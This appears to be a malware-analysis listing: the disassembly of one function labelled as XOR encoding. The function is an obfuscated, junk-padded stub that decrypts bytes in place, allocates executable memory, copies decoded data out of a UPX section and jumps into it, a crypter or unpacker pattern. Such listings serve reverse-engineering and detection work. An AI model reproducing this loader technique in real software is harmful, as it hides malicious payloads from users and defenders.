Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf9d42b1f
or esi, edx
add esi, 1
popal
not esi
sub edx, 0x73136b80
mov edi, 0
mov esi, eax
mov ebx, edx
mov edx, ebx
mov ebx, edx
mov ecx, esi
sub ebx, edx
add edx, edx
mov eax, ecx
add edx, edx
not edx
or edx, ebx
inc edi
add edx, 0x835f5e1f
add ebx, 0x16318d47
cmp edi, 0x100a836
jne 0x47b450
not ebx
not edx
or esi, esi
not esi
mov edx, 0x47b21e
inc eax
mov esi, 0x22f68dfd
mov ecx, 0x47b412
and esi, esi
mov edi, esi
mov ebx, dword [edx]
mov eax, esi
sub eax, 0xf35eeebe
and ebx, 0xff
and edi, edi
mov eax, 0x314d74a2
sub esi, edi
xor dword [ecx], ebx
or edi, esi
add edi, 0x42bfef22
sub edi, eax
inc ecx
mov esi, eax
mov eax, 0xddc48fab
add esi, edi
inc edx
sub esi, 0x82db6bd4
sub edi, eax
cmp ecx, entry0
jl 0x47b49b
add eax, 0xcb870cf2
mov esi, edi
add eax, esi
sub edi, 0xb9239563
add eax, esi
inc esi
and ecx, edi
mov ebx, 0x47b416
mov edi, 0x96b3156
inc edx
add edx, 0xadd65ad5
mov ebx, dword [ebx]
sub ecx, 0xabae26dd
not edi
mov ebx, dword [ebx]
mov edx, 0x440ae6b0
dec edi
push ebx
dec ecx
mov ecx, edx
mov ebx, 0x47b412
sub ecx, esi
mov esi, 0x94cf729f
mov ebx, dword [ebx]
not edi
add esi, esi
and edi, edi
mov ebx, dword [ebx]
add ecx, edx
or edi, ecx
sub esp, 4
mov dword [esp], 0x47b41a
mov esi, edi
or edi, edi
call ebx
and ecx, edx
add edx, 0x7446d69f
pop ebx
sub edi, edx
not ecx
and ecx, ecx
push 0x47b427
dec edx
inc esi
sub edi, esi
push eax
mov edi, 0x88c50604
sub edx, 0xd0106091
call ebx
add ecx, 1
mov edi, ecx
mov esi, 0x161c0890
push 0x40
mov edx, ecx
inc edx
sub esp, 4
mov dword [esp], 0x3000
or ecx, edi
add edx, edi
not edx
push 0x2000054f
inc edx
add edx, 0x797a853d
add esi, 1
push 0
or edi, esi
dec edi
not edx
call eax
mov edi, 0x30bc26dc
or ecx, ecx
add edx, edi
add eax, 0x200004ae
mov esi, 0xea330046
or esi, edi
and esi, edx
mov ebx, 0x9e6ca8e1
add edx, edx
add edi, 0x5b3bfb71
mov dword [eax], ebx
add edx, ecx
sub esi, ecx
sub edi, 0x49ab34a2
mov ebx, dword [eax]
dec edx
add ecx, 1
sub ecx, 0xfee9ae3f
cmp ebx, 0x9e6ca8e1
je 0x47b5fd
mov eax, 0
mov cl, byte [eax]
sub esi, 0xeedc0828
mov edi, 0xcde5bb4e
or esi, esi
sub edx, 0x26cffd39
not esi
not edx
not esi
not esi
mov edi, section.UPX1
not esi
sub esi, 0x1ab0cf94
mov eax, 0x47b21d
inc esi
not edx
mov ebx, 0
or edx, edx
or edx, esi
mov esi, 0xafe30931
mov ecx, 0x47b21e
add esi, 0xf28cd993
sub esi, edx
sub edx, 1
lea ecx, [ebx + ecx]
sub edx, esi
sub esi, 1
mov ecx, dword [ecx]
or edx, esi
sub edx, 0xb04f2ad9
add edx, 0x93e9162d
and ecx, 0xff
add edx, 0x78332d72
add esi, edx
sub edx, esi
inc ebx
add esi, 0x11e11649
sub esi, edx
add esi, 0x86afb93e
cmp ebx, 0x1f4
jne 0x47b695
mov ebx, 0
mov edx, esi
and esi, esi
not edx
sub esi, edx
xor dword [edi], ecx
or esi, esi
sub esi, edx
add edi, 2
sub esi, 0x9308998d
or edx, esi
or edx, edx
cmp edi, eax
jl 0x47b63b
add edx, 0xd29dbcf3
add esi, 0x17e97778
sub esi, 0x80eb275c
mov esi, edx
sub esi, edx
mov edx, section.UPX1
mov eax, esi
and esi, eax
mov ebx, section.UPX1
mov eax, esi
dec eax
or esi, eax
mov edi, 0x47b21d
mov esi, eax
dec eax
inc eax
mov ecx, 0
add esi, 1
sub esi, 0xed0cd57d
sub esi, 0x9ee7f815
mov cl, byte [ebx]
mov eax, esi
add eax, 0xe44f3aa6
add eax, 0x10c400e0
mov byte [edx], cl
mov esi, eax
sub eax, 0x782a472b
add edx, 1
not eax
sub eax, esi
add ebx, 2
dec eax
or esi, eax
cmp ebx, edi
jle 0x47b704
sub eax, esi
or esi, eax
sub eax, esi
or esi, esi
mov edx, esi
push 0x45e6a0
or edx, esi
sub esi, edx
ret